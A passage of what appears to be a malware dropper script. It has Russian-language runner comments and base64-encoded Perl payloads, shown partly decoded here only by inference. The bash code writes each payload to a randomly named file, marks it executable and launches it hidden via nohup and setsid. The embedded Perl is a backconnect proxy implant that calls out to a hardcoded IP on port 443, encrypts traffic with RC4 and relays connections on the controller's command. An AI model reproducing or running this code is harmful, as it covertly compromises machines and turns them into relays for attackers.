c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #4 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #4 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 5 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzM2LjI1NS45OC4xNjMnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 